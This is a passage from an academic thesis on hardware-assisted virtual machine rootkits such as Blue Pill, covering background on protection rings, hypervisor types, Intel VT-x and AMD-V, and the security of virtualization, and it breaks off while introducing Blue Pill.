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ABSTRACT 

The use of virtual machine (VM) technology has expanded rapidly since AMD 

and Intel implemented hardware-assisted virtualization in their respective x86 

architectures. These new capabilities have resulted in a corresponding 

expansion of security challenges. Hardware-Assisted VM (HVM) rootkits have 

become a credible threat because of these new virtualization technologies and 

have provided an added vector with which root access can be exploited by 

malicious actors. 

 An HVM rootkit covertly subverts an Operating System (OS) running on a 

general purpose x86 based processor and migrates that OS into a VM under the 

control of a malicious hypervisor. This results in the hypervisor possessing an 

effective privilege level of ring -0, a higher privilege level than ring 0, which the 

target OS possesses in either its non-virtualized or virtualized state. 

 The only known successful HVM rootkits are Blue Pill and Vitriol. This 

thesis analyzes and compares the source code for both AMD-V and Intel VT-x 

implementations of Blue Pill to identify commonalities in the respective versions' 

attack methodologies from both a functional and technical perspective. Findings 

conclude that their functional implementations are nearly identical; but their 

technical implementations are very different, primarily because of differences in 

the AMD-V and Intel VT-x specifications. 
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I. INTRODUCTION 

A. INTRODUCTION 

The use of virtual machine technology has expanded rapidly over the last 

decade. Viable virtual machine (VM) solutions have successfully made the 

transition from the domain of theory to the domain of widespread, practical 

application [1]. With this shift has come a new set of challenges which have 

changed the landscape of modern computer science. 

The reasons behind the explosion of virtualization across the computing 

spectrum are numerous. Processors have matured to the point that virtualization 

is capable on a wider range of hardware than ever before. What used to be 

limited to the industrial capability of mainframe and data center scale computer 

systems is now available on even the most modest of desktop machines. These 

processor advances have not just been limited to the evolutionary and 

exponential predictions of Moore’s Law, which have remained consistent; but 

also to critical, revolutionary advances and implementation of virtualization 

technologies within new processor architectures [2]. Both Intel and AMD have 

developed and successfully brought to market dedicated hardware virtualization 

capabilities across a wide range of product lines and have spawned new market 

categories previously unimagined. These advances have allowed an equally fast-

paced and broad ranged expansion of software and operating system (OS) 

technologies specifically targeted to exploit and fill the exciting new void created 

by these ground breaking processor virtualization technologies.  

VMware, Microsoft, Oracle, Citrix, Red Hat, Parallels as well as Internet 

giants Google and Amazon (to name just a few) all have significant virtualization 

products which did not exist just ten years ago. Virtualization capabilities are 

changing the way that computing systems are used and opening up new 

opportunities for consumers and producers alike. Very few companies, research 

laboratories, government organizations, and universities do not use some form of 

virtualization that is vital to their continuity of operations on a daily basis. In fact, 
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many military capabilities are becoming more and more dependent on 

virtualization as a tool to increase effectiveness, survivability, and scalability 

while reducing development costs, time to initial operating capability, and overall 

life cycle maintenance [3]. 

B. PROBLEM BACKGROUND 

With this explosion of virtualization has come a parallel growth of security-

related challenges. Virtualization has opened the doors to many exciting 

possibilities, but at the same time it has presented us with new doors with new 

locks to develop keys for. There is growing interest in taking advantage of new 

hardware assisted virtualization technologies. Most of this interest is constructive 

and non-malicious, but some of it is not and it is opening up a new frontier in the 

battle to achieve root level access. Intel and AMD hardware-assisted 

virtualization technologies have provided an added dimension to the scope with 

which root level access can be achieved by malicious actors. The concept of the 

Virtual Machine Based Rootkit (VMBR) has become reality directly because of 

these new virtualization technologies [1], [4], [5]. 

This thesis will examine and analyze the successful attacks of two 

versions of a specialized hardware-assisted VMBR called Blue Pill in order to 

determine if its attack methodology can be generalized and applied to a wider 

scope of x86 based systems. These two VMBRs are specifically classified as 

Hardware-Assisted Virtual Machine (HVM) rootkits because they exploit Intel VT-

x and AMD-V hardware virtualization extensions to covertly subvert an OS 

running on a general purpose x86 based bare metal processor (i.e., an OS not 

already in a virtualized state). These HVM rootkits subvert the host OS by 

inserting hypervisor code into kernel space, which uses these hardware based 

virtualization extensions to create a new VM and then migrate the entire target 

OS (unchanged) into the newly created guest VM. This is done on the fly without 

requiring any reboot. The new HVM rootkit hypervisor then has complete control 

over all hardware and software resident on the system. If it can be shown that a 

common attack methodology is effective across a wide range of systems 
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employing x86 hardware virtualization technology, then future research can be 

identified which might yield effective preventive and defensive mechanisms. 

Although some research already exists on HVM rootkit detection strategies, 

additional insight in this area might also be gained by identifying a generalized 

attack methodology. 

C. ORGANIZATION OF THESIS 

This thesis is organized into five chapters in addition to this Introduction. 

Chapter II is an introduction to the subject of operating system and virtual 

machine concepts. Chapter III explores the background information necessary to 

understand the security risks and threats posed by virtual machine technology. 

Chapter IV is an analysis of the source code found in both the Intel and AMD 

versions of the Blue Pill HVM rootkit. A brief examination of another HVM rootkit 

called Vitriol is provided; but given the lack of available source code, an in depth 

analysis was not possible. Chapter V provides the conclusion and interpretation 

of the results of the research conducted. Chapter VI provides a brief overview of 

related research and possible future work.  
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II. BACKGROUND 

This chapter provides a basic overview and introduction of the OS and 

virtualization concepts that are relevant to this thesis.  

A. OPERATING SYSTEM CONCEPTS 

An OS is a set of software components which controls a set of computing 

system hardware resources to provide services to users and applications [6]. 

These hardware resources include one or more processors, volatile and non-

volatile system memory, and input and output devices. This section covers 

several aspects of OSs on which this thesis will focus on as they relate to VM 

execution. 

1. Execution Modes 

Early micro-computer (PC) architectures, such as the Intel 8086 Central 

Processing Unit (CPU), utilized a single level of privilege for all types of code 

executed, regardless of the code purpose. User and application code would 

execute alongside (although not concurrently) with OS code and was able to 

perform all of its functions with the same authority and privilege as the OS. There 

were no restrictions on resource utilization and no boundaries placed between 

the OS and its applications. This was referred to as real mode execution, and it 

was one of the primary reasons why some early computing systems were neither 

stable nor secure. Essentially, the OS had no exclusive control over the system’s 

resources and could not enforce its role as a resource manager. 

The idea of segregating code execution was pioneered in the early 1960s. 

MULTICS was the first known OS to utilize a system of protection rings to 

segregate OS code from application and user level code as a method for 

providing security and stability [7], [8]. This concept was brought mainstream 

beginning with the 80286 microprocessor in 1982. Since the 80286 CPU, Intel 

architecture has been designed around protected mode execution consisting of a 
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four state hierarchy. Each state in this hierarchy is referred to as a protection ring 

with a corresponding execution mode or privilege level (Figure 1). This 

architecture added a boundary between the OS and the other types of code 

executing within the CPU. This boundary serves not to protect an application 

from an errantly coded OS, but rather to protect the OS and other applications 

from a poorly or maliciously designed application [9]. These protection modes are 

implemented at the hardware level and are specifically designed to protect the 

OS kernel and the three main types of resources it controls: memory, I/O ports, 

and the ability to execute certain machine instructions [10]. 

 

Figure 1.  Intel 80x86 protected mode architecture, after [8], [6] 

Modern OSs utilize this system of hardware privilege levels when 

executing code, requiring that certain instructions only be executed within a 

particular privilege level and within a particular memory segment [7]. These 

privilege levels determine what rights and authority a piece of code is granted 

when executing, and these execution modes directly correspond to what mode 

the CPU is placed in by its control unit when executing a code segment. Since 
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these modes are controlled by hardware, they cannot be easily subverted to 

operate in a manner that is inconsistent with the CPU’s design. Ring 3 code 

should never be allowed to execute with the privilege level of ring 0 code. If an 

application needs to accomplish an action which requires ring 0 authority, it must 

request that the action be completed by the kernel on its behalf. Due to this 

restricted access to memory and I/O ports, applications cannot (on their own) 

perform such actions as accessing files, sending or receiving network traffic, 

printing to the screen, getting input from the keyboard or utilizing memory beyond 

what it has been allocated by the kernel [10]. 

Although there exist four modes of execution in the Intel x86 architecture, 

not all OS architectures conform to this model. OS programmers often have to 

make difficult decisions when designing for cross platform compatibility. 

Additionally, writing code to utilize four modes of execution is much more 

complex than writing code to utilize just two modes of execution. For these 

reasons, most OSs only utilize two modes: kernel mode and user mode. There 

are OSs which employ additional modes; but Unix, Linux, and Windows only 

operate within these two modes. In the most basic implementation, these modes 

translate into privileged (kernel) mode and non-privileged (user) mode which are 

both controlled at the hardware level. Throughout this thesis, when referring to 

OSs in general, these modes will be referred to as kernel mode and user mode, 

respectively. It is these two modes that form the basis for security and reliability 

in most modern OSs [11]. 

Modern OSs use abstraction to hide and protect system resources from 

applications. Applications, which are composed of processes, are only allowed to 

execute in user mode. All applications which need to access low level system 

hardware which has not been specifically and exclusively granted to them, must 

request the needed resources from the OS kernel. The OS will then either deny 

these requests or perform the required interaction with the resource on behalf of 

the application and, when complete, return the results of the request to the 

application. This direct interaction between the OS and hardware resources 
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takes place via a device driver written specifically to allow this interaction. The 

OS accomplishes this interaction utilizing kernel mode execution [12]. 

Taking this abstraction concept one step further, forcing applications to 

execute in user mode allows the OS to service multiple applications concurrently 

and independently. Since each application must request system resources from 

the OS, the OS can de-conflict and manage multiple simultaneous requests in 

near real time. Each application may be unaware of the interactions of the OS 

with other concurrently running applications. The OS is the only code element 

(itself often referred to as a process) which is able to maintain knowledge of all 

other process states within the system and change or update that knowledge as 

individual process execution progresses. 

2. Kernel Data Structures–The Process Control Block 

In order for the OS to maintain this knowledge of all process states within 

the system, it must rely on a data structure to store and track this information. 

The data structure it relies on to perform this task is the process table, which in 

turn contains other data structures called Process Control Blocks (PCBs). Each 

user process runs in a severely limited “sandbox” set up by the kernel operating 

in ring 0. This “sandbox” is defined and constrained by a PCB. There is a PCB 

maintained for each process and it contains information about the process’ state, 

program counter, stack pointer, memory allocation, open files, accounting 

information, and scheduling data to name just a few of the attributes recorded. All 

of these attributes are collectively referred to as the process image [6], [8], [13].  

The fact that user level processes do not have access to PCBs (either 

their own or any other process’ PCB) residing within the kernel level is why it is 

essentially impossible, by design, for a user level process to exist beyond the 

bounds placed on it by the kernel. All of the data structures that control resources 

such as memory, open files, assigned devices, etc. cannot be accessed directly 

by a process running in user mode; and once the process terminates execution, 

its PCB is torn down by the kernel [10]. 
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3. Interrupts, Traps, System Calls and Exceptions 

The meanings of the terms interrupts, traps, system calls and exceptions 

will differ slightly depending on the author or source referenced. In order to 

provide a coherent set of definitions for the purposes of this thesis, these terms 

are defined as follows: 

a. Interrupts 

At the most basic level, traps, system calls and exceptions are all 

interrupts; but for the purposes of this thesis interrupts will be further narrowed to 

refer specifically to hardware interrupts. An interrupt is an asynchronous, 

hardware device initiated control transfer. Within computer hardware, interrupts 

come from many different sources including but not limited to the PC’s timer chip, 

keyboard, serial ports, parallel ports, disk drives, CMOS real-time clock, mouse, 

sound cards, and other peripheral devices [14]. Hardware interrupts are used by 

hardware devices to signal to the OS that they need its attention to perform some 

function or task. 

b. Traps 

A trap is usually a software invoked interrupt. It is any type of software 

initiated transfer of control to the OS. The main purpose of a trap is to provide a 

standardized subroutine that various programs can universally call when 

attention is required from the OS, the same way in which hardware devices 

invoke a hardware interrupt. A trap results in a shift of processor state from user 

to kernel mode in order for the OS to perform some set of actions before 

returning control to the program which originated the trap. Depending on the 

context, a trap can also be a system call or an exception as defined below. 

c. System Calls 

A system call is essentially a software interrupt similar to a trap. It is a 

synchronous, program initiated control transfer from user mode to kernel mode. 

When a user mode process needs something done at a higher level of privilege 
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than it has access to, it invokes a system call to ask the kernel to perform those 

functions on its behalf. A system call is essentially an interface mechanism 

between a user mode application and a kernel mode service; which can be 

generally categorized into file system, process, scheduling, inter-process 

communication, networking socket, and miscellaneous [6]. Since a direct call 

cannot be performed into the kernel, a system call is the process that must be 

executed when crossing this user mode / kernel mode boundary [15]. This works 

fine for simple general purpose computing systems; but fundamental 

shortcomings become evident when more specific applications are needed, for 

example, during the execution of some types of virtual machines.  

d. Exceptions 

An exception is a trap which is raised when an abnormal condition occurs 

during program execution. It is a synchronous, program initiated control transfer 

in response to some unexpected event.  As the name implies, an exception is an 

anomalous or unforeseen occurrence which cannot be handled via normal 

processing methods such as a system call and requires special processing within 

the kernel. Exception handling is therefore the process of responding to the 

anomalous event during runtime. This handling often results in changes to the 

normal flow of program execution, and therefore must be provided for by 

specialized programming constructs or computer hardware mechanisms [14]. 

B. VIRTUAL MACHINE CONCEPTS  

As with processor execution modes, virtualization also got its start in the 

early 1960s as an effort to efficiently provide time and application-sharing 

capabilities on mainframe computers to end users. The IBM Watson Research 

Center teamed with MIT to develop the Compatible Time Sharing System 

(CTSS), which also eventually helped lead to the development of MULTICS [16]. 

The concept of time-sharing has grown and evolved over time into the more 

modern concept of virtualization.  It should be noted that the implementation of 

virtualization can take many forms and can occur at many levels within the 
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machine itself including at the instruction set architecture (ISA) level, hardware 

abstraction layer (HAL), OS level (system call interface), or at the application 

level which includes the application programming interface (API), high-level 

language libraries and the application binary interface (ABI) [1]. 

1. What Is a Virtual Machine? 

Virtualization concepts have become prolific and have been applied to 

servers, applications, hardware, storage, programming languages, and many 

other areas of modern day computing. In their foundational 1974 article “Formal 

Requirements for Virtualizable Third Generation Architectures”, Gerald Popek 

and Robert Goldberg state that a virtual machine (VM) is “an efficient, isolated 

duplicate of a real machine” [17]. A more technical definition can best be 

summarized as follows: “Virtualization is a framework or methodology of dividing 

the resources of a computer into multiple execution environments, by applying 

one or more concepts or technologies such as hardware and software 

partitioning, time-sharing, partial or complete machine simulation, emulation” 

[18]. Even though there are many types of virtualization methods, for the 

purposes of this thesis, virtualization can be defined in simplistic terms: 

virtualization is an abstraction layer between the hardware or OS itself and the 

code designed to perform a specific function.  

2. What Is a Virtual Machine Monitor? 

Hardware abstraction is enabled by a software component called a Virtual 

Machine Monitor (VMM) which fills the role of managing (or hosting) one or more 

VMs. VMMs are also sometimes referred to as hypervisors depending on the 

implementation. A VMM can itself be partially hosted by an underlying OS or can 

serve as the OS itself in addition to its abstraction functions. Figure 2 depicts this 

abstraction of functionality in very simple terms, however it should be noted that 

there exists a very wide variation in real-world implementations of VMMs; but 

regardless of the implementations, it has become widely accepted that a true 
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VMM must adhere to the three VMM properties established by Popek and 

Goldberg: equivalence, efficiency, and resource control [17]. 

 

Figure 2.  General depiction of multiple OS virtualization. 

a. VMM Properties 

(1) Equivalence: a VMM must provide an essentially identical 

execution environment to a guest as would be experienced if it was running on 

actual hardware. Timing effects induced by the VMM would be the only 

exception. This is also alternatively referred to as the fidelity property. 

(2) Efficiency: a VMM must be efficient from the perspective that most 

of the virtual processor’s execution be done on the physical processor itself, 

without excessive use of software based emulators or interpreters. Additionally, 

the VMM must only be required to intervene on a small percentage of the guest 

OSs instructions. This is also alternatively referred to as the performance 

property. 

(3) Resource Control: a VMM must be in control of real hardware 

resources such as memory and peripherals, and specifically manage all of the 

resources that its guest OS utilizes. This is also alternatively referred to the 

safety property [19], [20]. 
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b. VMM Types 

VMMs can be generally classified into one of two basic formal types and 

one informal type depending on the implementation of VMM itself (described in 

more detail in Sections b, c and d below). Popek and Goldberg [17] established 

the formal requirements of what is and is not technically a VMM. Since their 

foundational article, qualifying VMMs have been formally classified as either a 

Type 1 or Type 2 VMM. It should be noted that the overall user experience in 

each of these VM implementations is the same; it is only the technical 

implementation of the abstraction and virtualization function which remains 

distinctive. The VM itself is an environment created by the VMM and should be 

indistinguishable to the user from any other similar non-virtualized environment.  

A third informal hybrid classification exists for those which fail to meet the strict 

criteria of these two formal types.  Figure 3 graphically depicts these three types 

of virtualization methods. 

It is the VMM’s responsibility to present and manage a virtualized, 

individual, and abstracted hardware platform for each virtual OS, which may or 

may not be representative of the actual hardware the VMM or host OS is resident 

on. Each virtual OS can be a completely different instantiation and perform 

unrelated functions, but each one executes in real time within its own instance of 

VMM managed resources. Additionally, it is the VMM’s responsibility to ensure 

that each virtual machine instance has no visibility or awareness of other virtual 

OSs running in parallel on the same physical hardware platform. 

Although the terms “VMM” and “hypervisor” have been used 

interchangeably since the 1960s, the term “hypervisor” is sometimes used more 

informally to describe of the function of hardware resource manager which 

occurs at the hardware interface, in essence the kernel of the VMM [21]. It is 

important to point out that a VMM has both a virtual machine manager function 

and a hypervisor function that are performed. Although in most cases the terms 

are still used interchangeably, in a few cases the implementation of the 

hypervisor function itself determines the classification or type of the VMM. Unless 
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otherwise stated, this thesis will use the term “VMM” and “hypervisor” 

interchangeably to refer to both the virtual machine manager function and 

hardware interface function collectively. 

(1) Type 1 VMM. Type 1 VMMs are also called native or bare metal 

VMMs since they run directly on the hardware itself with no other host OS to rely 

on to manage physical resources. Type 1 VMMs must perform all of the functions 

of an OS by managing the physical hardware resources (hypervisor role) in 

addition to its abstraction and VM hosting functions. XEN, KVM, VMware 

ESX/ESXi, and Microsoft Hyper-V are examples of Type 1 VMMs [5]. 

(2) Type 2 VMM. Type 2 VMMs are also called hosted VMMs due to 

the fact that they rely on a separate and discrete host to manage physical 

resources on its behalf. Type 2 VMMs are dependent on a separate piece of 

code that runs in kernel mode within the host OS and performs the hypervisor 

function as in a Type 1 VMM. This separate host is typically a conventional OS 

environment running on physical hardware (bare metal). QEMU, VMware Player, 

VMware server, Oracle VirtualBox; Microsoft Virtual PC and Virtual Server are 

examples of Type 2 VMMs [5].  

(3) Hybrid Virtual Machine System.  Although not formally regarded as 

a VMM type, there are many VM implementations that have emerged which do 

not fit neatly into either a Type 1 or Type 2 VMM classification. Implementations 

of this hybrid type are not formally labeled as VMMs, but rather Hybrid Virtual 

Machine Systems (HyVMs) [17]. (Popek and Goldberg refer to Hybrid VMs as 

HVMs, but modern references to hardware-assisted virtual machines also use 

the acronym HVM, therefore this thesis will use HyVM to refer to hybrid virtual 

machines as defined in [17] and HVM to refer to hardware-assisted virtual 

machines in order to stay consistent with the newer convention.)  The Hybrid 

type has evolved into a “catch all” category to classify every type of virtualization 

that fails one or more of Popek and Goldberg’s criteria. These Implementations 

can best be described as a hybrid between the Type 1, Type 2 and other VM 

methods since they usually employ elements from each and have unique 
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characteristics which prevent them from behaving according to the accepted 

academic models of Type 1 and 2 VMMs. Linux KVM and Bhyve are examples of 

HyVMs, however it can also be argued that earlier versions of VMware 

Workstation and Fusion more closely fit this Hybrid Type rather than a Type 2 

VMM due to the fact that they utilized significant software-based, interpreted 

virtualization to insert traps where VMM action was needed [1]. 

 

Figure 3.  General depiction of Type 1, 2 VMMs and HyVMs 

3. Intel VT-x and AMD-V 

The method that Popek and Goldberg describe in their article has become 

known over time as classic virtualization or “trap-and-emulate,” so much so that a 

hardware architecture’s “virtualizability” has been almost exclusively equated 

directly with its ability to perform trap-and-emulate functions [20]. Under the trap-

and-emulate virtualization construct, a VMM executes guest OSs directly in user 

space, intercepts a trap from a guest OS, and then emulates the trapped 
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instruction on the state of the virtual machine.  This method satisfies all of Popek 

and Goldberg’s criteria for virtualizability; however, it could not be implemented at 

the hardware level on the x86 architecture until 2006 when Intel and AMD added 

hardware virtualization extensions into their respective x86 ISAs in the form of 

Intel VT-x and AMD-V (Appendicies A and B, respectively).  (AMD-V was named 

AMD SVM at its initial release and many references still make use of this older 

name.) Prior to these extensions there was no way for the processor to detect or 

handle the sensitive context switching instructions from the VMM required to 

support the virtualization requirements of the guest OS. Intel VT-x added two 

context execution modes specifically to support virtualization: VMX root operation 

and VMX non-root operation for the VMM and guest OSs, respectively [22].  

AMD-V similarly discriminates between guest and host execution modes. 

Although not actually a physical processor mode of execution, VMX root mode 

and AMD-V host modes of operation are frequently referred to as execution 

within ring minus zero (ring -0) or ring minus one (ring -1) to denote a lower 

number (and thus a higher privilege level) than ring 0. 

Intel VT-x and AMD-V opened the virtualization possibilities for the x86 

architecture significantly. Previous to these x86 ISA additions, classic trap-and-

emulate virtualization had been mostly limited to exotic or expensive large scale 

computer systems because it was not physically possible to implement classical 

virtualization on x86 based systems. 

4. Software Virtualization through Interpretation 

Prior to the availability of Intel VT-x and AMD-V, software based 

virtualization as pioneered by VMware and Microsoft was the only means of 

virtualizing the x86 platform. Early versions of VMware Workstation and Virtual 

PC utilized software interpretation to bring virtualization mainstream and to the 

x86 platform. But x86 software interpreted virtualization had both practical and 

technical limitations, specifically it failed characteristics two and three from Popek 

and Goldberg. Despite this lack of true trap-and-emulate functionality, software 
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virtualization techniques continued to mature up to the release of Intel VT-x and 

AMD-V and became very effective and practical paths to virtualization in many 

market segments. Even upon the release of Intel VT-x and AMD-V hardware 

virtualization extensions, software virtualization outperformed early hardware 

trap-and-emulate solutions on the x86 platform due to significant efficiencies 

regained through the use of binary translation when coupled with an inefficient 

software interpreter [20]. 

5. Process vs. System Virtualization 

It is important when examining VM technology to distinguish between 

process and system virtualization. VM technology discussed so far has been 

related to system VMs. System VMs utilize either a VMM or HyVM (as defined 

above) between the physical hardware and guest OS which emulates the 

physical hardware’s ISA to the guest OS. A system VM provides a complete and 

persistent system environment supporting an OS and its processes in order to 

provide real time access to real or virtual hardware resources.  Conversely, 

process VMs consist of virtualizing software on top of the OS and utilize the API, 

high-level language libraries and the ABI to provide an individual process with the 

OS provided resources it needs to execute. A process VM is dynamically created 

in runtime when the process is created and it terminates when the process 

terminates [23]. The key differentiator is what is presented to a guest: a process 

VM emulates an API to an individual process within an OS, whereas a system 

VM emulates an ISA to an entire guest OS and its processes [24]. Figure 4 

depicts this difference in virtualization schemes between the ISA and API layers 

as well as where the virtualization code resides in relation to system versus 

process virtualization. 
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Figure 4.  General depiction of different levels that virtualization can occur 

6. Programming Language Virtual Machines 

One application where process virtualization is particularly well suited is in 

programming languages, which are often implemented using process VMs for 

several reasons, most importantly portability and isolation. They are portable 

because of the fact that a program on any platform X can be run on any other 

platform Y if both X and Y both support the same programming language virtual 

machine implementations. Additionally, since applications written and executed 

within the programming language virtual machine and are not allowed to run 

outside of a protected resource area (a “sandbox”), they are isolated from the 

rest of the code resident on the computer. The result is a more secure computing 

or development environment which is protected from whatever bad behavior may 

be manifested by the application being developed within the programming 

language virtual machine [18].  
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There are many integrated development environments which follow this 

model, but the two most well-known are probably Microsoft’s .NET Framework 

and Oracle’s Java.  

Microsoft’s .NET Framework is an integral Windows component that 

supports developing and running applications and XML based web services on 

the Windows OS family of platforms. The .NET common language runtime (CLR) 

serves as a VM manager responsible for the code that runs within it. 

Management functions include a wide range of tasks including memory 

management, thread execution, code execution, code safety verification, 

compilation, and other system services [25]. 

Whereas the .NET framework is limited to Windows based OSs, the Java 

programming language was designed to allow application developers the 

capability to “Write Once, Run Anywhere” (WORA) across many different OSs. 

Java uses a virtualization environment called the Java Runtime Environment 

(JRE) to manage all instances of Java code running on a system. The JRE is 

responsible for creating a common virtualization space across a wide range of 

different OSs for which code would ordinarily not be compatible across.  Once a 

Java program is compiled into byte code, it can be run on any platform for which 

the JRE is compiled and installed.  

7. VM Data Structures–Control Blocks and Control Structures 

Virtual Machine Control Blocks (VMCBs) or Virtual Machine Control 

Structures (VMCSs) are data structures analogous to PCBs in an OS kernel. 

AMD refers to it as a VMCB in its V specification whereas Intel refers to this data 

structure as a VMCS in its VT-x specification. These data structures describe a 

virtual machine by specifying the parameters of its execution environment. These 

environment parameters include trap, intercept and exception conditions; 

instructions permitted; memory resources; registers; execution pointers; and the 

guest state of the VM OS [26], [27].   
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8. Hypercalls 

Whereas most functions that occur within a VM are intended to be 

autonomous as if the OS is running on its own hardware, there are infrequent 

situations where a communication channel must exist between a hypervisor and 

the VMs that it supports. Hypercalls provide this communication channel and are 

analogous to system calls discussed earlier. Where a system call is essentially 

an interface mechanism between a user mode application and a kernel mode 

service, hypercalls are an interface mechanism between a VM guest OS and its 

hypervisor [28]. 
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III. SECURITY ASPECTS OF VIRTUAL MACHINES  

A. TRUSTED COMPUTING BASE 

The kernel execution mode, or ring 0 mode, of modern CPUs provides 

protected, privileged execution of sensitive instructions; but it does not 

completely solve the problem of limiting that execution to code which is 

trustworthy from a security standpoint. There can still be code which behaves in 

an unpredictable or insecure manor. In a perfect OS, all code that executes 

within kernel mode should be trustworthy and be expected to behave only in a 

secure and predictable manner. In reality this is not the case because the 

security testing and verification of new code is an expensive, lengthy and 

exhaustive process which grows exponentially more difficult and expensive as 

the code base increases in size and complexity. In order to achieve some level of 

assured security within reasonable time, cost and effort constraints, a smaller 

subset of kernel mode code may be identified with which to apply this level of 

rigorous testing and verification. This core of validated code then becomes what 

is known as the trusted computing base (TCB) and it typically does not include 

the entire kernel mode code base. Most OSs have TCBs which are reduced in 

size and complexity as much as possible in order to increase the inherent 

security as much as possible.  

The concept of a TCB was first established formally in an article written by 

Grace Nibaldi in 1979 [29]. In 1981, John Rushby published another article on 

the concept where he defined the TCB to be “the combination of kernel and 

trusted processes” [30]. Taken into a broader scope, a TCB is the set of all 

hardware, firmware and software in a computer system that is verified trustworthy 

and is responsible for enforcing a system’s unified security policy [31].  

VMMs are typically not part of an OS’s TCB, and therefore neither are the 

VMs which execute on them. Due to the fact that most VMMs operate in kernel 

mode, they themselves often go through rigorous testing and verification and 
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have some portion of core code which is considered a TCB, separate from the 

OS’s TCB. It should be noted that the type of VMM (Type 1, Type 2, or HyVM) 

has no impact on the security quality of its respective TCB. As with OS TCBs, the 

quality of the VMM TCB is entirely dependent on its design, size, complexity and 

the testing rigor applied to its code base [31]. 

B. VIRTUALIZATION AS A MEANS TO INCREASE SYSTEM SECURITY 

VM technology has long been heralded as a significant advance to 

security because of the isolation of the VM itself and the natural sandboxing that 

occurs via the VMM. Each VM runs on the same physical machine without, 

ideally, the ability to see or influence any other VM running concurrently on that 

physical machine. Additionally, introspection can be accomplished within the 

guest VM by the VMM or HyVM allowing even greater control over execution. 

This isolation property provides the opportunity to prevent a wide range of 

attacks. Although the use of hardware-based virtualization has been expanding, 

security mechanisms specific to hardware virtualization have not been keeping 

pace because of the difficulty of identifying and intercepting malicious instructions 

before they are passed to the CPU for execution.  

C. HARDWARE-BASED VMM VS. SOFTWARE-BASED HYVM SECURITY 

From a security standpoint, software-based security is still preferred 

because software based HyVMs can trap, inspect and exercise control over 

guest operating systems instructions before they ever make it into hardware 

much more readily and efficiently than can current hardware-based VMM 

solutions [32]. Flexible security mechanisms can also more easily and quickly be 

implemented within software-based HyVMs. Additionally, since execution of the 

guest is emulated within a software-based HyVM, the state of the physical 

hardware system is not effected and the HyVM never has to relinquish physical 

hardware execution control to a guest OS. 

Hardware-based VMMs must trap and handle any sensitive instruction 

from a guest OS, similar to software-based HyVMs; but they lack the same level 
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of ability to inspect and exercise control over guest operating systems that 

software-based HyVMs possess. It is also relatively difficult to adapt and modify 

VMM code in response to malware threats relative to software-based HyVMs 

[32]. The fact that VMMs have direct control over hardware resources presents 

another security challenge in that without the presence of robust security 

mechanisms, the risk of malicious code subverting the VMM’s hardware control 

is higher than a software-based HyVM where an underlying OS has robust 

security mechanisms in place.  

 Performance suffers in both virtualization methods because of the 

relatively large overheads required to perform the inspection and analysis of 

instructions prior to execution. Although this performance hit is typically more 

severe in software-based HyVMs, it can still have a significant effect in VMMs as 

well. In a software-based HyVM, the state of the hardware is never changed 

since all traps occur as system calls within the host OS and guest OS 

instructions are interpreted and passed on to the CPU as though they are coming 

directly from the host OS itself. In a hardware-based VMM, the state of the 

hardware is changed every time control of the physical machine is passed from 

the VMM to the guest OS [19]. At every state change, CPU cycles are expended 

to save the state of the VMM, change the appropriate registers and counters, 

then load the state of the Guest OS, execute the next series of instructions for 

the guest OS, save the state of the guest OS, change back the appropriate 

registers and counters, and finally load the last saved state of the VMM. Adding 

security mechanisms and malware inspection functions to the VMM can 

significantly increase the execution overhead of the VMM when compared to a 

software-based HyVM. 

D. VIRTUALIZATION AS A MEANS OF OBFUSCATION 

Although techniques are not as straightforward as detecting other types of 

code existent within a system, the presence of virtualization can be detected. 

What is difficult to analyze and determine however is the code that is being 
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executed within the VM itself unless this capability is purpose designed into the 

VMM up front. This difficulty is because virtualized code is resistant to both static 

and dynamic code analysis techniques [33]. This resistance provides a natural 

obfuscation to the VM that other code execution methods do not possess. Static 

code analysis attempts to identify code prior to execution (or compilation) that 

when executed could produce undesired effects within the system. Such 

undesired effects can include memory resource leaks, buffer overflows or any 

other number of security or performance issues. Dynamic code analysis attempts 

to determine the result of code execution in real time, as the code is being 

executed by the system.  

The code emulation and interpretation that VMs undergo as they are 

executed by their respective VMM adds multiple layers of complexity which can 

be difficult to observe activity through or analyze in real time (Figure 5). In order 

to analyze and determine what a VM code’s purpose is, a complex reverse 

engineering process involving at least two stages must be undertaken. The first 

stage reverse engineers the interpreter or emulator in order to discover the VM’s 

individual byte code instructions. The second stage then reverse engineers the 

byte code instructions to reveal the underlying logic of the source code [33]. This 

becomes significantly more difficult if the interpreter is unfamiliar, does not follow 

expected or assumed techniques, or employs multiple layers of interpretation.  

Observation of activity from the opposite perspective is just as difficult, if 

not more so. A VM has very little inherent capability with which to observe 

actions taken by its VMM. If there exists malicious code at the hypervisor level, 

then malware detection at the VM level would be ineffective at best in being able 

to detect it. Furthermore, any mitigation actions could not be effectively 

accomplished from within the VM itself because of its lower privilege level relative 

to the VMM. 
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Figure 5.  Code observability between VMs, VMM, and Host OS 

E. VIRTUAL MACHINE-BASED ROOTKITS 

As much as VM technology has made possible more secure 

environments, it also has drawbacks which can be maliciously exploited. Virtual 

machine-based rootkit (VMBR) research has been ongoing for several years by a 

variety of legitimate and malicious actors. Most of the results of this research 

have been either too theoretical or too impractical to be considered serious 

security threats, but Intel VT-x and AMD-V have changed that dynamic. These 
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technologies have provided new methods for systems to be exploited and new 

vectors to introduce such threats. “Hyperjacking” has become the new broadly 

used term for actions taken by a VMBR to covertly insert a VMM under an OS by 

migrating the OS from physical execution to virtual execution undetectably, either 

on boot up or while the system is running [34]. 

1. SubVirt 

SubVirt was a Microsoft sponsored proof of concept project and is 

generally credited with being the first successful VMBR. SubVirt does not utilize 

Intel VT-x or AMD-V but rather must rely on another commercial software 

virtualization technology such as VMware or Virtual PC in order to gain VMM 

level control of the OS [35]. Since SubVirt is not designed to organically utilize 

hardware based VM technology, it must resort to software based solutions which 

require elaborate and complicated code in order to implement full hardware 

functionality in a transparent manner. The resulting code base is therefore too 

large to be considered a practical and effective VMBR [36]. Additionally, due to 

its software requirements, it requires a reboot after introduction onto a system 

and therefore cannot be implemented transparently on the fly. But nevertheless, 

SubVirt accomplished Microsoft’s proof of concept goals of subverting both 

Windows XP and Linux target systems by placing them in virtual environments, 

demonstrating the ability to perform malicious activity, and finally exploring 

methods of detection and prevention [35].  

2. Blue Pill 

Although SubVirt was the first successful implementation of a VMBR, Blue 

Pill was the first effective instance of a hardware-assisted VMBR [36]. For clarity 

of nomenclature purposes, it should be noted that a hardware-assisted VMBR is 

the same as an HVM rootkit. The term HVM rootkit will be used throughout the 

remainder of this thesis to refer to a hardware-assisted VMBR. While SubVirt 

utilized commercial virtualization technology such as VMware or Virtual PC in 

order to gain VMM level control, Blue Pill fully exploits AMD-V (and in later 
